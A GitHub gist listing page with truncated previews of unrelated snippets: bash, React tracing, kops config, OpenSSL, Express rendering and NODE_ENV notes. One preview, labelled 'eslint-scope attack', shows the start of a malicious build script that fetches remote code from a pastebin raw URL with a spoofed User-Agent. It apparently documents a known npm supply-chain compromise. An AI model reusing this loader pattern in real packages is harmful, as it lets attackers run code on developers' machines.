Skip to content

Instantly share code, notes, and snippets.

View r4j4h's full-sized avatar

Jasmine Hegman r4j4h

View GitHub Profile
#!/usr/bin/env bash
name=fooAlert-$RANDOM
url='http://localhost:9093/api/v1/alerts'
bold=$(tput bold)
normal=$(tput sgr0)
generate_post_data() {
cat <<EOF
[{
@mohanpedala
mohanpedala / bash_strict_mode.md
Last active April 19, 2024 06:11
set -e, -u, -o, -x pipefail explanation
@bvaughn
bvaughn / index.md
Last active April 3, 2024 07:41
Interaction tracing with React

This API was removed in React 17


Interaction tracing with React

React recently introduced an experimental profiler API. After discussing this API with several teams at Facebook, one common piece of feedback was that the performance information would be more useful if it could be associated with the events that caused the application to render (e.g. button click, XHR response). Tracing these events (or "interactions") would enable more powerful tooling to be built around the timing information, capable of answering questions like "What caused this really slow commit?" or "How long does it typically take for this interaction to update the DOM?".

With version 16.4.3, React added experimental support for this tracing by way of a new NPM package, scheduler. However the public API for this package is not yet finalized and will likely change with upcoming minor releases, so it should be used with caution.

@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@valmat
valmat / vlm.utils.destructing.d
Last active June 1, 2020 18:20
variable destructuring; array to variables list; destructuring assign. Traversable, Tuple
//
// May destructing variables for itarable types and tuples
//
module vlm.utils.destructing;
import std.range : empty, popFront, front;
import std.traits : isIterable;
import std.typecons : Tuple, tuple, isTuple;
import std.functional : forward;
@hzoo
hzoo / plan.md
Last active July 13, 2018 15:19
Recruiting emails + open source

So I was thinking about how I never respond to recruiter emails, and how their way of try to appeal to me is a bit lacking: work on some framework, create a new framework, be a senior dev/cto, etc.

I was just thinking a bitabout how companies can change to better support open source, so why not respond back with some suggestions?

Can suggest:

  • donating to projects via Open Collective
  • having developer time to contribute back to open source

kops cluster config

kubeAPIServer:
  authorizationMode: RBAC
  authorizationRbacSuperUser: admin
  oidcCAFile: /srv/kubernetes/ca.crt
  oidcClientID: example
  oidcGroupsClaim: groups
  oidcIssuerURL: https://dex.example.com
  oidcUsernameClaim: email
#############################
### GENERATE CERT AND KEY ###
#############################
# when generating key and cert, use password provided by administrator
cd ~/Workspace/Silvermedia/vpn
kozak127@callisto:~/Workspace/Silvermedia/vpn$ openssl pkcs12 -in michal.wesoly.p12 -nocerts -nodes -out michal.wesoly.key
Enter Import Password:
@joepie91
joepie91 / express-server-side-rendering.md
Last active February 20, 2024 20:52
Rendering pages server-side with Express (and Pug)

Terminology

  • View: Also called a "template", a file that contains markup (like HTML) and optionally additional instructions on how to generate snippets of HTML, such as text interpolation, loops, conditionals, includes, and so on.
  • View engine: Also called a "template library" or "templater", ie. a library that implements view functionality, and potentially also a custom language for specifying it (like Pug does).
  • HTML templater: A template library that's designed specifically for generating HTML. It understands document structure and thus can provide useful advanced tools like mixins, as well as more secure output escaping (since it can determine the right escaping approach from the context in which a value is used), but it also means that the templater is not useful for anything other than HTML.
  • String-based templater: A template library that implements templating logic, but that has no understanding of the content it is generating - it simply concatenates together strings, potenti
@markerikson
markerikson / nodeenvDiscussion.md
Last active January 9, 2023 15:24
Summary of process.env.NODE_ENV and its use with Webpack

[02:06 PM] acemarke: @Steven : a couple other thoughts on the whole NODE_ENV thing. First, per my comments, it really is a Node concept. It's a system environment variable that Node exposes to your application, and apparently the Express web server library popularized using its value to determine whether to do optimizations or not
[02:08 PM] acemarke: Second, because of its use within the Node ecosystem, web-focused libraries also started using it to determine whether to they were being run in a "development" environment vs a "production" environment, with corresponding optimizations. For example, React uses that as the equivalent of a C #ifdef to act as conditional checking for debug logging and perf tracking. If process.env.NODE_ENV is set to "production", all those if clauses will evaluate to false.
Third, in conjunction with a tool like UglifyJS that does minification and removal of dead code blocks, a clause that is surrounded with if(process.env.NODE_ENV !== "development")